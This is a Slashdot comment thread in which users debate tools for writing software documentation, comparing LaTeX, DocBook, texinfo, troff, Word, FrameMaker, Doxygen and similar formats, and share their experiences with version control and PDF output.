    5. Re:No, you're an idiot by RebornData · · Score: 2


      Re: The dissertation issue:

      How many English, Art History, or History PhD candidates do you think use LaTeX? I bet you're right about engineering PhDs...

      Re: presentation first
      Can't disagree there. That's definitely the out of box defaults, but one of the reasons it's bloated is that it's the kitchen sink and you can use it a bunch of different ways if you bother to learn.

      Re: Long docs

      I'm not a writer, but I have worked quite a bit with documents pushing 60-70 pages. There are definitely issues (though I haven't experienced quite what it sounds like you have).

      I'm not sure I would recommend Word as the right tool for a multi-hundred page doc. I never said Word was the end-all be-all... there's a lot to complain about, and it just isn't suited for certain things. I've used a lot of different tools, from general business / consumer stuff like AppleWorks, WordPerfect and Word to more technical / specialized tools like FrameMaker, LaTeX and PageMaker. The right tool depends on personal preference and purpose. I once did my resume in troff because I wanted a single source to generate good-looking output both in ASCII and postscript.

      There is certainly a lot to complain about with Word, my main beef is that this guy picked the wrong ones.

    6. Re:No, you're an idiot by RebornData · · Score: 2

      You've got some good points. Too bad the original poster didn't pick things like this to harp on... I was in no way making a general defense of Word, just pointing out that these particular issues aren't entirely valid. I sure wouldn't do my dissertation in it...

    7. Re:No, you're an idiot by RebornData · · Score: 2

      Well sonny, if you want to start an experience-based pissing contest, I'm happy to. I've had experience with Windows going back to 2.x. I used Word prior to it's Windows-based releases. In terms of doc tools, I've make substantive use of nroff / troff, LaTeX, FrameMaker, PageMaker, WordPerfect, AppleWorks, WriteNow for the NeXT, ed, vi, emacs, DOS edit, and I'm sure I'm forgetting some. I'm not sure how that's relevant to the conversation, but so there! :-P

      I think you're a bit disingenuous claiming that outline mode and styles are "obscure". Sure, you're not *forced* to learn them if you just sit down and start typing a way... clearly, MS is optimizing for a minimal initial learning curve. If he'd rather use an application that forces use of structure-based layout, that's a personal preference, and I'm certainly not going to say that's wrong. But claiming that Word doesn't do it (and do it pretty easily) is wrong.

      If you had read to the end of my post, you would have read the part where I make it clear I'm not defending Word across the board. It has a huge, rich set of problems to choose from if you want to bash it. But the original poster picked stupid things to complain about.

    8. Re:No, you're an idiot by kimihia · · Score: 1

      I see you've listed 'vi'. Have you ever tried vigor? ;-)

      (Read the "About" section.)

    9. Re:No, you're an idiot by Anonymous Coward · · Score: 0

      I must respectfully disagree.

      The majority of my PhD program compatriots (about 15 of us) used MSWord for our dissertations. A few of the Mac folks used Framemaker. I think one person used LaTex.

      If your MSWord is dying at 50 pages, then something is seriously wrong with your installation(s) of MSWord.

      I regularly write technical documentation on a magnitude of 200-400 pages with MSWord. I've experienced no major problems other than for some reason, on my box (P3-900, 512MB RAM, NT4 (SP6), it is very CPU intensive.

      I include lots of tables, images, OLE items...no problems here. Maybe I'm the "one in a million" lucky winner here, but I doubt it. For all of its problems, MSWord does a FINE job for me.

      Bloat? That argument is old. I don't care about bloat...RAM and drives are cheap. But for those on a limited budget I can see why it might be an issue.

  211. Re:"reasonable" to use version control with binary by jaoswald · · Score: 2

    It can be reasonable to use version control with binary files.

    I believe what you mean to say is

    "is it reasonable to use version control when you give up the following benefits:

    1) compact storage by using deltas
    2) easy 'diff'-type comparison between versions
    3) machine assistance in merging branches."

    (1) these days is hardly noticeable.
    (2) and (3) are, admittedly, the big problems.

    The primary function of version control is to maintain a snapshot of files at multiple checkpoints. There doesn't have to be parseable data to do that.

  212. Yes by Da+VinMan · · Score: 2

    Thank you; that's what I meant. I regularly stick binaries away in VSS. I just don't expect it to do anything fancy with the binary for me.

    --
    Please mod this post only if you think others should/n't read this. I have enough ego^H^H^Hkarma. Thanks!
  213. Can you use Adobe Acrobat Distiller? by Civil_Disobedient · · Score: 1

    Adobe Distiller has the ability to mascarade as a Printer driver, which means you can type up the text in any gosh-darned format in any golly-gee editors, then use the Distiller driver to export it to a file. Don't know if this will help, though there seem to be a lot of suggestions here and I'm sure one will work.

  214. TeXmacs: Why hasn't anyone else mentioned this? by Trilaka · · Score: 1
    Granted, I don't believe it is shipped by default with most linux distributions, and I'm not sure it runs on any non-Unix platform, but I've become quite impressed with this little application.

    From the website:
    GNU TeXmacs is a free scientific text editor, which was both inspired by TeX and GNU Emacs. The editor allows you to write structured documents via a wysiwyg (what-you-see-is-what-you-get) and user friendly interface. New styles may be created by the user. The program implements high-quality typesetting algorithms and TeX fonts, which help you to produce professionally looking documents.


    Also, you can export your TeXmacs files to LaTeX which gives you access to a wide range of document translation programs. Check it out.
  215. Simple Document Format (SDF) by ijcd · · Score: 1

    I use and like Simple Document format. It uses a fairly
    simple text based format, is extendable using perl, and
    can produce documents in a variety of formats, including
    HTML, SGML, Docboox, HTML, RTF, PS, PDF, etc...

    http://www.mincom.com/mtr/sdf/

  216. Re:texinfo has highest quality to effort ratio by Anonymous Coward · · Score: 0

    I also prefer GNU texinfo and have used it to easily build 100+ page manuals, with tutorials etc. texinfo is a simple ascii-based markup language. From a single .texi file you can easily generate .html, .ps, .pdf, and .info. The manuals don't look as professional as ones that have been typeset in quark, but texinfo has the highest quality to effort ratio of any documentation system I've seen to date, including word, tex, latex, docbook, quark, etc. Its biggest limitation is that I would also like to generate troff-style man pages but texinfo doesn't support that.

  217. It depends... by dzeuthen · · Score: 2, Interesting

    The word 'Documentation' as used in software engineering, is often used to characterize a number of different documents. Here are the different kind of documents I produce in my position as a lead tech in a software company:

    1. Interface/API documentation: Here I normally generate latex from the C++/Java/C sources with DOC++ and publish it as PDF's. I could generate HTML but most of my collegues agree with me that printed documentation are nicer.

    2. User Manuals: It varies. troff for man pages, Latex for hardcopies, M$ Word if nontechs has to edit/localize the stuff.

    3. Tech Specifications, Software Design Documents: Such documents are mostly used within the company by the tech staff, so I use Latex for formatting and M$ Visio (and sometimes some fourth-generation tools such as Erwin or Rational Rose) for diagrams. It works for me! And these can be put under source control (we use CVS).

    4. Collaborative documents: Such as proposals, RFPs, Site Acceptence Test documents that non-techies (Account and Project managers most of the time) has to edit.. For these I use M$ Word/Excel and I must admit I use a considerable amount of time on the things that LaTeX does automaticially for me - that is layout and presentation.

    As a rule of thumb I always submit documents as PDFs. Good luck and always remember YMMV!!

  218. Re: TeXInfo is better than LaTeX by Anonymous Coward · · Score: 0

    texinfo is better than latex for documentation, both in final output quality, in number of output formats supported, and quality to effort ratio. I used to use latex for documentation but have completely switched to texinfo.

  219. Was you use of Word questionable? by kaladorn · · Score: 1

    Not arguing in favor of MS Word (far from it), but if you'd used a Master Document and SubDocs to split up your information, then you might have avoided some of this thrashing problem. Or not, but I'd be careful in damning a tool until I was intimately conversant with its many functions, and the modern word processor has a lot of options and capabilities.... ones most of us never see/use/learn.

    --
    -- Mal: "Well they tell you: never hit a man with a closed fist. But it is, on occasion, hilarious."
  220. Re: TeXinfo is better than TeX by Anonymous Coward · · Score: 0

    Texinfo is strictly superior to TeX for software documentation. See above.

  221. Re:No question - use LaTeX - DVIPDFM by jelson · · Score: 1

    Excellent! I'd love to be able to generate PDF and PS from the exact same DVI source file; this looks like just the thing.

  222. You are backwards... by Anonymous Coward · · Score: 0



    Dude. You're supposed to write the documentation first.

  223. Noweb, Latex Re: Literate Programming by buzz_mccool · · Score: 2, Informative

    Yes, the idea with literate programming is that the documentation and code is all one file. It prevents the whole "Oh, now I need to do the docs." problem, and the problem where the documentation diverges from the actual code. If you change the code, you change the documentation right in the same file next to the code. I find noweb to be an interesting tool. It is Latex and Lyx aware. The one page document on noweb below is very informative: Onepage guide to noweb

  224. Actually Three problems w binaries in vcs by kaladorn · · Score: 1

    You forgot one: Oft times, vcs will store binary versions as complete objects (rather than the forward or reverse deltas used with ascii text files like code). This means if I check in 16 versions of MyDoc.doc, then I eat up a heck of a lot of space. Space always seems to be a consideration on version control systems, so this is a good reason to use ascii-based doc formats.

    --
    -- Mal: "Well they tell you: never hit a man with a closed fist. But it is, on occasion, hilarious."
  225. You have never used Outline mode, have you? by Blue+Lozenge · · Score: 1
    If you know how Word thinks, then you can use it instead of fighting with it.

    First, turn off Auto* features and Agents. Switch to Outline Mode. Bang out your content in the hierachy you want. Set up your styles. Apply your styles to the sections that need them. Insert generated blocks like TOC and index. Done. Go buy a book on Word, it's a better app than you think.

  226. LaTeX by conan_albrecht · · Score: 1

    I know this is redundant, but LaTeX is probably your answer. I've used docbook as well, but I personally prefer LaTeX. IMO, DocBook goes too far for most documents.

    Either is better than a proprietary format. You have to think in terms of Longevity, and Word is definately bad because it is incompatible from one version to another. Of course, it's a screwed up program as well too (and that is not a hack against MS, it's a hack against Word itself; ther MS issues are something entirely different that could take all day as well. :)

  227. In code documenting VB files by Octavian59 · · Score: 1

    At work I'm forced to write in VB. I'm trying to find a (hopefully Open Source) solution to generate documentation from in code documentation that I don't have to spend months teaching everyone how to use. It would preferably integrate with VSS as well (I'm also working on converting us to CVS ;).

    I could write something, but I'd rather not replicate previous work. Any suggestions?

  228. latex == poor choice by Anonymous Coward · · Score: 0

    If you do not need true typesetting, don't use TeX or LaTeX.

    TeX is basically unusable outside of linux/unix shops/institutions because very little windows users posses unix tools.

    Word should be ok.

    The main thing you need to remember is that word will journal your changes to the end of the document. After many many changes you need to save the document in a new file (file->save as) to force word to save it after all journal entries have been applied.

    I've seen an autocad book document for several chapters with many pictures go from 50mb to 10mb after doing a file save as.

  229. typsetting or not? by Anonymous Coward · · Score: 0

    If not using it for typset documents, use a word processor.

    If you need typesetting use a typesetting program.

    Many books have recently been written in Word with the typeset type diagrams done in a different tool then brought into word as bitmaps.

  230. If you liked AFT, try SDF by Lobsang · · Score: 1

    SDF is the "Simple Document Format". Unlike DocBook, SDF has very little markup and is able to produce HTML, PDF, PS and other formats. The only drawback is that is seems kind of "dead". The latest version dates from a while ago.

    SDF Page: http://203.101.254.79/mtr/sdf

  231. Don't CVS Word docs? by Anonymous Coward · · Score: 0

    Even with keyword expansion and line-ending conversion disabled? I added my Word.doc files like this:

    cvs add -kb word.doc

    This seems to work for me. Is it not working for others?

    1. Re:Don't CVS Word docs? by Make · · Score: 1

      Ok, it works, but have you ever tried to CVS annotate a Word .doc file? Or show the diffs?

      Where's the use and power of CVS if you can't do that?

  232. InDesign 2.0 PDF from XML; or LyX by Anonymous Coward · · Score: 0

    If you're going to write documentation in PDF, I might suggest checking out Adobe InDesign 2.0 when it ships (which should be shortly, according to what some Adobe folks said at the recent Macworld.) You can use XML to build the docs structurally, then you can use InDesign to map those structures to text styles.

    I'm a bit of a font geek, and one of the things I've always hated about printed app documentation is that so much paper is wasted on bad layout and typography. The great thing about InDesign is its support for OpenType fonts, whose professional typography features like small caps, ligatures and oldstyle figures make text easier to read. InDesign automates all of these features, so all you have to do is define the styles in terms of their XML/XHTML counterparts.

    I realize some Slashdotters have been led to believe that Adobe is responsible for Sklyarov's recent ordeal and will thus not bother considering this as a solution, not to mention it doesn't run on Linux, but you should keep it in mind as an answer to both the structural and aesthetic aspects of software documentation. InDesign 2.0 in combination with one or more OpenType Fonts can churn out truly beautiful documents.

    My second choice would be LaTeX through the LyX front-end. You still can't beat its bang/buck ratio, and it's really still the best way to do layout in Linux. If you're sick of the standard TeX fonts, though, you should check out the book TeX Unbound by Alan Hoenig.

  233. the irony... by RalfM · · Score: 1
    ... I haven't used TeX much, I only tried my luck in writing a few letters (and found out that it is not suitable for this). I went through hell when I wrote larger documents with various versions of MS Word ...
    Swap these two and you're set. LaTeX for big documents, MS Word for letters.

    Ralf

    --
    The trouble with the world is that the stupid are cocksure and the intelligent are full of doubt.
    -Bertrand Russel
  234. Open Office by -ryan · · Score: 1

    After loving MS Office (even though I freaking hate MS) I discovered OpenOffice and I have totally mastered it. I have to say, OpenOffice gives me much more control over my documents and it is cross platform. Not to mention an open file format and Basic, Java, and other API's.

    You might give it a try, I use it exclusively for all my programming design/documentation these days. I have a whole library of document, drawing, and spreadsheet templates I've created.

  235. What's wrong with ps2pdf? by Tom7 · · Score: 1


    Forgive my ignorance, but what's wrong with ps2pdf? Is it only the lack of TOC, x-refs, URLs? (I hate that stuff anyway...)

    1. Re:What's wrong with ps2pdf? by gweihir · · Score: 1

      Mostly the lack of hyperlinks. But with an older Gostscript version a number of things can make problems. (ps2pdf is part of the Gostscript package.)

      I had a 5.x gs crash consistently on a Postscript produced from LaTeX just recently and needed to upgrade to a newer version.

      With the other solution you are not dependent on Ghostscript, but are using a tool that is "integrated" into the LaTeX distribution.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted and ignored otherwise.
  236. Miktex and Winedt by binney · · Score: 1

    The combination of Miktex (LaTex for windows) and Winedt is pretty awesome. Unfortunately Winedt isn't available for Linux. pstricks is also pretty handy.

  237. Acronym explained. by Anonymous Coward · · Score: 0


    For the acronym challenged, POS means "piece of shit". Think cow excrement. The phrase means "having no value".

    For an example of the proper use of this acronym, see the parent post.

  238. One of the few who still uses troff by pauljlucas · · Score: 1
    I still use troff with man(7) macros for writing Unix manual pages. The (obvious) advantage is that man(1) understands them.

    For technical papers, I still use troff with the mm macros. I can incorporate figures either using xfig(1) or raw PostScript.

    Both cases above are:

    • In plain text (this can be easily put into CVS).
    • Can be converted to formatted plain text (via nroff(1)).
    • Can be converted to either PostScript or PDF (via groff(1)).
    • Can be converted to HTML (I personally don't do this, but I know it's possible).
    --
    If you reply, do so only to what I explicitly wrote. If I didn't write it, don't assume or infer it.
  239. Abiword by Dacmot · · Score: 1

    Abiword saves in lots of formats, including LaTeX, HTML, XHTML, MSWord, rtf, KWord, plain text, and gzipped abiword format.

    From LaTeX you can make PostScript (`latex filename.tex && dvips -t letter filename.dvi -o filename.ps`) for quality printing or Adobe PDF (`pdflatex filename.tex`) as well as HTML, rtf, plain text, etc...

    But that's beside the point. If you write the docs in plain text you can very easily convert them into various format if you stick with the right tools ;o)

    My 2 cents

  240. Consider your document's future by Anonymous Coward · · Score: 0

    It's funny you mention FrameMaker. I used FrameMaker for long documents. FrameMaker was one of the apps that compelled me to consider using exclusively free software.

    Towards the end of my FrameMaker days FrameMaker became Adobe's app. I interpreted Adobe's lack of development of FrameMaker as Adobe's disinterest in the software (and perhaps more generally their disinterest in publishing software). Others had noticed FrameMaker's lack of continued development too and some users formed a mailing list (the "framers" list, if I recall correctly) to put together a petition to get Adobe to improve FrameMaker. You see, FrameMaker had large blocks of functionality (I'm convinced) purposefully left unimplemented or under-implemented so the third-party market would develop extensions for FrameMaker. Unfortunately that market never really took off and what existed wasn't that much compared to Photoshop.

    As time went on, I discovered more and more bugs in FrameMaker and I grew increasingly frustrated because Adobe wasn't fixing the app and I could not fix the software I had invested so much time in. On the other hand, I had developed a significant body of documents in FrameMaker. I needed to change to something I could get my work done with and improve as I needed.

    About this same time my work lost some employees and my responsibilities shifted to doing other things. Documentation writing had to be put on the back burner. I saved all my documents in FrameMaker's textual markup format (in the hopes of being able to not lose all my work to some non-portable binary format) and put the entire documentation software issue aside.

    The question of this thread intrigued me because almost a year ago my work hired some more employees and I forsee my responsibilities shifting back to documentation writing; I'll be in a similar situation to the reviewer--evaluating documentation software. But this time around I'll know I don't want to be stuck with a tool I can't fix. I don't know what software to pick just yet, but I know proprietary software (including FrameMaker) is not up for consideration. I want to use something I can move away from if something profoundly better comes along (or if something profoundly bad happens to the software I choose).

    My tip to other documentation authors: consider where your work will be in a year or two (long enough where you will have made a lot of documents, short enough where you can guess what your documentation needs will go); consider what those needs might require of the tools you choose today.

  241. Buy a Latex book by neves · · Score: 1

    If you really want to use anything non-trivail latex, my advice: buy a book. I don't know them all, but I like "A guide to Latex" (Helmut Kopka & Patrick W. Daly).

  242. LaTeX text editor by neves · · Score: 1

    (X)Emacs has a great LaTeX mode. The referencing mode LaTexRef is really cool.

  243. Texinfo by RUok · · Score: 1

    Why has no one mentioned texinfo? I know it used tex on the backend, but it provides a much cleaner set of macros to work with, and produces some damn fine HTML and PDF's.

  244. texinfo or docbook by runswithd6s · · Score: 3, Informative
    info(1), IMHO is one of the best on-line document readers I've ever used. I liked it when I first was acquainted with gcc. Type in 'info libc' and you get a full libc reference book! With examples!

    Ever thought man pages were limited in that you couldn't automatically go to a referenced manpage? Use info, hit tab until you reach the reference, then hit enter. Walla!

    Yes, info has become my all-time favorite. Far beyond the limited HTML markup. Not convinced? I would like to bring to your attention a few posts already made concerning info(1) and the document format texinfo: 2818653 and 2819778

    I've recently started the chore of changing an existing TeX document into texinfo format. I would have loved to use a converter or a formatter from TeX to texinfo, but alas, such a tool was not available. vim's search and replacement works pretty well. Regardless, since texinfo docs can create TeX, XML, and HTML documents, I believe it's the best of the docformat-to-docformat wars. Additionally, it's a pretty simple markup to use.

    Check out info2www by Roar Smith for a simple way to push out your installed info docs.

    Here's the GNU Texinfo documentation.

    The only other acceptable format, IMHO, would be docbook.

    --
    assert(expired(knowledge)); /* core dump */
  245. LaTeX by Toolsmith · · Score: 1
    Earlier this year I was asked to write a technical design paper on a system we planned to use at work. I new it would be a big job, and I didn't want to spend the time needed to "make things look pretty". I just wanted to write the content, and have some kind of software do the job for me.

    Well, after some research, I settled on using LaTeX. Actually, I used the MiKTeX distribution on MS Win NT4.0. For the screenshots and Visio diagram manipulation, I wrote some Perl scripts and used ImageMagick and a copy of GhostScript 7.0 for producing PostScript and then PDF files for printing and distribution purposes. The comp.text.tex was a valuable resource as well.

    I spent one weekend at home learning the basics of LaTeX, used the "Article" class to help produce a good document layout. Over the next 4 months I learned to write my own macros, create table of contents, indices, glossary, etc, and came up with a 500+ page technical design manual.

    Not once did the system crash on me, and I could spend most of my time on the content. Yes, I did spend time on converting Windows .bmp bitmap files into JPG format for inclusion into the document, but with the help of some home-made Perl scripts, I pretty much automated the process of conversion, cropping and resizing. In the end, I preferred this method to dragging and resizing bitmaps within MSWord.

    Customized Perl scripts were written to dynamically create LaTeX tables which showed software versions used in our product, references to other documents, etc. The entire document was dynamically "built" into a PDF file.

    It took a little time to install, figure out and customize.

    The end result was a very clean, compressed PDF document, which we could distribute to all interested parties via email.

    I really learned a lot, and it saved me a lot of time formatting the document; I had content, and I had software that did the formatting for me.

    Everyone was impressed, but LaTeX was not the "standard" within the company. "We must use MS Word", I was told. This came straight from upper management. Much of the document generation was automated, and there was obvious benefits (free open-source software, no crashing, PDF output without the use of Acrobat, dynamic image manipulation and data inclusion, etc). Even so, MS Word was to be used in subsequent documents.

    The point is, even though you might think MS Word is crap and you want to look for alternatives, bear in mind the standards used within the company. Standards become even more important within "global" companies; too many non-standardized products can be costly.

    Also, let's say you write a document in LaTeX or DOCBOOK, you quit or get hit by the bus one day (heaven forbid). How are your co-workers going to maintain your document? Can the secretary easily make formatting changes? How about your boss?

    Over the past few months I began to use Word for much smaller documentation. It's a pain to use, but I did learn how to use it to make decent looking documents. It just takes more time to produce a document in Word than it does in LaTeX.

    Hope this helps in giving you some ideas.

    After many months of searching, I have yet to find a way to properly convert a PDF file (generated from LaTeX) to MS Word, retaining all formatting with the hyperlinks and references in MS Word format. Does anyone know?

  246. doxygen for samba by boots@work · · Score: 1
    Here's a Doxygenated version of the Samba source code. You can see that not much of the source has real documentation yet, so only a few functions have really nice documentation. This actually makes it a nice example for a project thinking about changing across, because even without much markup Doxygen still gives you useful cross-referencing a source browsing.

    On the whole, the cross-referencing is less useful than Exuberant-etags and id-utils under emacs, but it's still pretty cool.

    Doxygen can produce TeX output, however it doesn't look great, and for a project as big as Samba it can overflow internal limits in the default build of LaTeX. I'm sure you could patch it to look better.

    Another weakness is that it does not know about CVS. It's nice to see the history of the code integrated with the current state. LXR will do that for you, but at the cost of a more complicated server-side installation.

    --
    Martin

  247. Joe Average? Nah. by Grendel+Drago · · Score: 2

    TeX was never meant to appeal to "Joe Average". Knuth says as much himself in the TeXbook. It's meant for producing technical manuscripts of the highest possible quality. For most tasks, MS Word will do the trick.

    But for those of us who need kickass math functionality, are preparing a thesis, or are awed by the geek-factor, TeX is *it*.

    TeX (and by this I mean LaTeX as well) is not meant to be used lightly. But for large, complex projects, its power and utility are evident. It simply scales much, much better than editors like Word.

    Good for StarOffice if it wants to take over the office suite market. It's an important part of getting Linux on the desktop... but TeX is something utterly different.

    And about the fonts... what is it you're trying to do? Do you have some TrueType fonts you want to use with TeX?

    http://www.radamir.com/tex/ttf-tex.htm

    It's nontrivial, but it certainly can be done...

    -grendel drago

    --
    Laws do not persuade just because they threaten. --Seneca
  248. What about FrameMaker? by heatseeka · · Score: 1

    In my company we have a large UNIX base because all the hardware designers (VHDL/Verilog) and DFT group use unix boxes (Sun/HP). FrameMaker runs on most platforms out there (sure its not free), but its flow is very easy. It has very powerful formatting options and can import PS/EPS pictures with ease. One peave that i have with it is that the diagrams are kind of a pain in the a$$. but you get used to it. It producess very good looking documents, on par with LaTeX. I used everything, from HTML, LaTeX, word, ASCII, and although LaTeX is my favorite, FrameMAker is not too far behind. In a multiplatform environment i think it is the way to go.

    Just my $0.02

  249. Try CWEB by Anonymous Coward · · Score: 0

    CWEB is a version of WEB for documenting C, C++, and Java programs. WEB was adapted to C by Silvio Levy in 1987, and since then both Knuth and Levy have revised and enhanced the system in many ways, notably to support C++ and ANSI C. Thus CWEB combines TeX with today's most widely used professional programming languages.

    It is available at http://www-cs-faculty.stanford.edu/~knuth/cweb.htm l

  250. HTMLDOC looks good, mod parents up by dublin · · Score: 2

    I just had a look at the HTMLDOC docs (if that's not too redundant.)

    This is absolutely killer. I've wanted something like this for years. HTML is not a layout format, but will do fine for most documents, but was lacking a few simple things to let it be a reasonable printable document format. HTMLDOC intelligently filters HTML into very presentable PS or PDF documents. (Look at the online docs for good examples...)

    HTMLDOC adds the missing pieces! Margins, page breaks, duplexing, headers and footers, even the ability to define the order and options for each chapter in a book and be able to process them all at once.

    This looks VERY good. If it works as advertised, I may be buying the supported version RSN. I'm impressed, and it takes a lot for software to impress me.

    The fact that it's free and open source, too, is just icing on the cake...

    --
    "The future's good and the present is nothing to sneeze at." - Roblimo's last ./ post
  251. LaTeX then whatever you want. by $criptah · · Score: 0

    I have had the same problem, I was tired of writing documentation and then trying to view or edit it on different platforms running different software. I have come to the conclusion that one of the best and cheapest things for me ( I am a student ) was to learn LaTeX and use it along with Emacs. There is a package for Emacs that makes the editing less painfull and although the learning curve might be a bit long, the results pay off. You can present everything in PS, PDF, HTML, DVI or whatever you wish format. As long as you have the .tex file on your hands you are all set. There is more to it once you manage to learn how to include graphic images and build complicated tables. I was very pleased with the results and my teachers were surprised to see something besides .doc files during the presentations. I would highly recommend the same thing for you.

  252. Doc++? by Anonymous Coward · · Score: 0

    Works terrific if you're documenting source.

  253. Maybe AbiWord? by mrjb · · Score: 1

    The AbiWord wordprocessor saves its files as XML, can print to PDF files (and I think HTML too) and has never crashed on me.

    --
    Visit http://ringbreak.dnd.utwente.nl/~mrjb/growingbettersoftware to download your free copy of the book
  254. "Almost Plain Text" is the answer by Anonymous Coward · · Score: 0
    I searched for exactly the same software a couple of years ago for my department. I found this:

    http://www.xmlmind.com/aptconvert.html

    APT = Almost Plain Text

    It is a _very_ simple markup language with almost no tags as the formatting is done implicitly -- like headings start in column 0 while text start in column 2. It does the job for me. Is has the most needed features and if you need more advanced formatting you should probably consider making your document simpler :)

    It uses LaTeX, ps2pdf and makes both HTML, PS and PDF output. The format is to near "text" that it is quite readable in text-format also. Oh, and it it written in JAVA.

    dunkel AKA Jesper Holm Olsen
    Guitarist in the Commodore 64 band PRESS PLAY ON TAPE - http://www.pressplayontape.com
  255. ConTeXt - a TeX macro set which accepts XML by Anonymous Coward · · Score: 1, Informative

    http://www.ntg.nl/context/

    Very nice, clean macro set. _Much_ better than LaTeX if you want to change the look of your documents.

    Powerful toc/index capabilities. Powerfull PDF creation w. automatic linking.

    You can use XML as input language.

    _Very_ nice. Took me one day to learn, after that two hours to create the formatting style for writing contracts. I couldn't have done that in LaTex.

    No html :(. Use PDF :)

  256. lyx sucks by Anonymous Coward · · Score: 0

    Use LaTeX with emacs (or vi), then compile to pdf with pdflatex. Easy, simple and fast.

    lyx sucks. It's buggy, uggly, difficult to use and certainly not WYSIWYG.

  257. Lout? by trumpetplayer · · Score: 1

    I've also written several docs using Word and then decided to switch to some reasonable doc writting software. I looked for reasonably easy to learn WYSIWYM tools, much easier than TeX if possible. I finally chose Lout, which is a small (times smaller that TeX based stuff) nice typesetter included in Debian GNU/Linux. I believe that it can be your solution also.

  258. xml documentation by anorakgirl · · Score: 1

    we just wrote a web app which uses xml/xsl processing to create web pages, so decided to write the docs in xml too. nice text based format for the doc, easily readable & updateable by us, easy to version control etc.

    we use xalan/xerces from xml.apache.org to transform the xml into pdf/html using xsl/fop for presenting to users etc - bit of work setting it up, but we'd done most of it already for the app so it wasn't much work, and now its set up its a lovely method, just edit the xml and run a script to output to pdf/html.

    anorakgirl
    ps i do think we have a habit of doing things the long way round though, sticking with text editors & scripts rather than using ready made apps... :)

  259. restructured text by Anonymous Coward · · Score: 0

    If you want ASCII input, and somewhat fancy output, look at restructuredText (http://structuredtext.sourceforge.net/). It is proposed as documentation standard in Python. e.g.

    bla bla
    =======

    is a title, and

    - bla bla

    is an item in an unnumbered list

  260. Docbook is what you need by badger.foo · · Score: 1

    There is no other way to put it. Docbook, in either SGML or XML variants, is the way to go. Period. It has all the elements you will ever need for software docs, your data will always be readble (sgml or xml is text), you can integrate documentation "build" in your make files, you can include or exclude content based on conditionals, the system forces you to think and structure your material sensibly.

    Installing all the necessary components by hand can be a rather painful excersise for the uninitiated, though. It's usually best to install your favourite distribution's docbook package. IIRC on Debian all it took was an "apt-get install docbook", your mileage may vary elsewhere but I hear FreeBSD has everything you need, nicely packaged.

    You would do well to read the "duck book" (online at http://docbook.org or available from O'Reilly). Other useful resources are the FreeBSD project's documentation primer at among other places http://www.freebsd.org/docproj/sgml.html. If you ever need to set up a windows machine for sensible doc writing, you'll find Markus Hoenicka's guide at http://ourworld.compuserve.com/homepages/hoenicka_ markus/ indispensable.

    --
    -- That grumpy BSD guy - http://bsdly.blogspot.com/
  261. LaTeX2HTML not a complete solution by ader · · Score: 2, Interesting

    Be wary of grandiose claims for the power of LaTeX2HTML. Yes, it usually does a good job of converting simple to moderate LaTeX documents. However, once you start writing your own style files and using complex macros, it's a whole new ballgame. Theoretically, L2H can be extended to cope with any new macro, but you need Perl skills to do so and API documentation is poor-to-non-existent. Various obscure bugs may crop up from time to time, configuration for some odd situations (such as custom style files) can be non-intuitive, it's been in beta for years and releases are infrequent (although I notice that a new release came out in December).

    It's not a bad program, but YMMV for actual use. (Note: I make my comments after writing a 100 page product manual in LaTeX.) OTOH, I must admit that a printed LaTeX document is a thing of beauty. If you're serious about using it, you definitely need to buy a book or two (say Lamport's and one more comprehensive reference).

    If you're starting from scratch though, maybe you should give DocBook a proper go, given that it is supposed to be the format of the future and subsume all others.

    Cheers,
    Ade_
    /

    --
    Big Bubbles (no troubles) - what sucks, who sucks and you suck
  262. Re:No question - use LaTeX - DVIPDFM by Dekel · · Score: 1
    Excellent! I'd love to be able to generate PDF and PS from the exact same DVI source file; this looks like just the thing.

    Unless you use pstricks or similar packages.

    What is wrong with ps2pdf ? It produces PDF files as good as the ones produced by pdflatex/dvipdfm (assuming you set up dvips to use type1 fonts).

  263. Interface vs implementation by Anonymous+Brave+Guy · · Score: 2
    If you work for a libraries group (as I do), then it's important to define an interface, and get everyone (i.e. people who are gonna use the libs) to agree on this, prior to starting coding.

    OK, I accept the need for fixed interfaces between different modules or programming teams to be documented. However, I would suggest that it's easier to spec the interface directly in the language you're using, via an interface class in an OO language, for example. This avoids any chance for misunderstandings between teams, as the language will typically enforce that interface. If you need "low level" documentation, just add comments as necessary to the interface spec. There is no need to duplicate this effort by copying everything into a design doc as well; just print the source code to your interface declaration.

    --
    If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
  264. custom solutions by evbacher · · Score: 1

    we've used a custom solution to create user
    documentation. Our markup is very simple and
    very generic (no format-specific information like
    font sizes or specific styles, etc.). This allows
    us to target multiple targets that we can use
    for our final document. Right now, we're targeting HTML, but we have done MIF and some
    limited RTF (and could do other markups, including
    XML variants, tex, troff, etc. if necessary).

    The nice thing about a custom solution is that you
    can tailor it to your needs. Our docs are structured
    in a hierarchical man-page style tree, so we've developed a shorthand that allows easy
    specification of links to other man pages.

    One big advantage of a text-based markup is that
    it is very easy (and quick) to make a change,
    commit it to the CVS tree and regenerate the
    target document. (I used FrameMaker several
    years ago, and generating HTML output was a
    painful process.
    And of course, a text markup generally produces
    smaller document sets (unless you include a lot of
    images).

    Another thing that we've done is to automatically
    generate things like index pages (per section)
    and a permuted index to the whole set. All of
    these are simple tools under the control of
    shell scripts or makefiles.

    See SavaJe docs for the results.

    Ed

  265. Re:StarOffice 6 XML. *waves goodbye to Tex forever by ponos · · Score: 1


    Regarding the TeX fonts:

    The fonts ARE scalable simply by
    using the option "magstep" that
    magnifies them to an arbitrary size (the fonts are vector designs and
    can be smoothly scaled).

    HOWEVER, TeX is a system for very
    high quality documents and therefore
    every font SHOULD BE DESIGNED AT
    ITS INTENDED SIZE!

    Using a scalable font for 6 point
    text, 12 point text and 24 point
    text will not provide optimum
    results for all these sizes.

    If you need the best possible
    appearance you don't scale your
    fonts. (even though, as I said,
    TeX can scale the fonts)

    Petros

  266. Technical Documentation by RagingMaen · · Score: 1

    When developers write documentation - It usually turns out to be little more than digital chicken scratch. Would you hire a meat butcher to perform surgery? Or would you ask a court reporter to represent you in a criminal trail? No, then why do you have developers write documentation? Developers are no more equipped to write documentation than a monkey working on Newtonians Thorium. If your going to invest a lot of time, money and effort into developing software, develop an equal amount of time, money and effort into hiring a professional writer for the documentation. The results from your customer base will be well worth the effort.

  267. Re:Not to be the obvious, but upgrade to Win2k or by Anonymous Coward · · Score: 0

    Mmh?
    So you've been running XP for more than a year, right?

  268. ASCII-based text by erc · · Score: 1

    Why not use nroff? It's ASCII-based, very fast, designed to handle VERY large documents, and has been around for at least 30 years, so it's about as stable as you're going to get. Various post-processing packages have been around forever (nroff to PostScript, among others).

